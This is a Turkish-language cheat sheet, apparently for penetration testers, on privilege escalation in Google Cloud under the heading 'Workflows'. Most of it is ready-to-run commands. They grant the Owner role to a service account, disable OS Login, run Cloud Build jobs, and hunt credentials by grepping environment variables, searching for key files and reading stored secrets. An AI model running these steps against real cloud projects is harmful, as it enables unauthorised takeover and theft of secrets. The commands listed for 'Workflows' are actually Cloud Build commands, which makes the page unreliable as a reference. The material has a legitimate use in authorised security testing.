Skip to content

GCP - Workflows Privesc

GCP privesc

GCP - Workflows Privesc — GCP ortamında yetki yükseltme ve rol/identity zinciri notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

Saldırı akışı

Section titled “Saldırı akışı”

  1. Mevcut principal izinlerini (inline/attached/bound) çıkar.

  2. PassRole / setIamPolicy / impersonate / admin primitiflerini doğrula.

  3. Yüksek yetkili role/identity’e geçiş PoC’si çalıştır.

  4. Yeni kimlikle hesap/proje etkisini kanıtla.

Kimlik / oturum

Section titled “Kimlik / oturum”

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

Terminal window
gcloud auth list
Terminal window
gcloud config get-value project
Terminal window
gcloud auth print-access-token | cut -c1-20

Hedef komutlar

Section titled “Hedef komutlar”

GCP - Workflows Privesc için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

Terminal window
gcloud builds triggers list
Terminal window
gcloud builds triggers run TRIGGER
Terminal window
gcloud builds describe BUILD_ID
Terminal window
gcloud builds list
Terminal window
gcloud builds submit --config cloudbuild.yaml .

Yükseltme primitifleri

Section titled “Yükseltme primitifleri”

Yazma / PassRole / IAM policy / impersonation başarılıysa yeni kimlikle tekrar enum et.

Terminal window
gcloud projects add-iam-policy-binding PROJECT --member='serviceAccount:SA@PROJECT.iam.gserviceaccount.com' --role='roles/owner'
Terminal window
gcloud iam service-accounts get-iam-policy SA@PROJECT.iam.gserviceaccount.com
Terminal window
gcloud compute instances add-metadata INST --zone ZONE --metadata enable-oslogin=FALSE

Secret / credential avı

Section titled “Secret / credential avı”

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

Terminal window
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'
Terminal window
printenv | sort
Terminal window
find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40
Terminal window
gcloud secrets list
Terminal window
gcloud secrets versions access latest --secret=SECRET

Kanıt

Section titled “Kanıt”

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash
Terminal window
mkdir -p evidence/cloud && tee evidence/cloud/notes.txt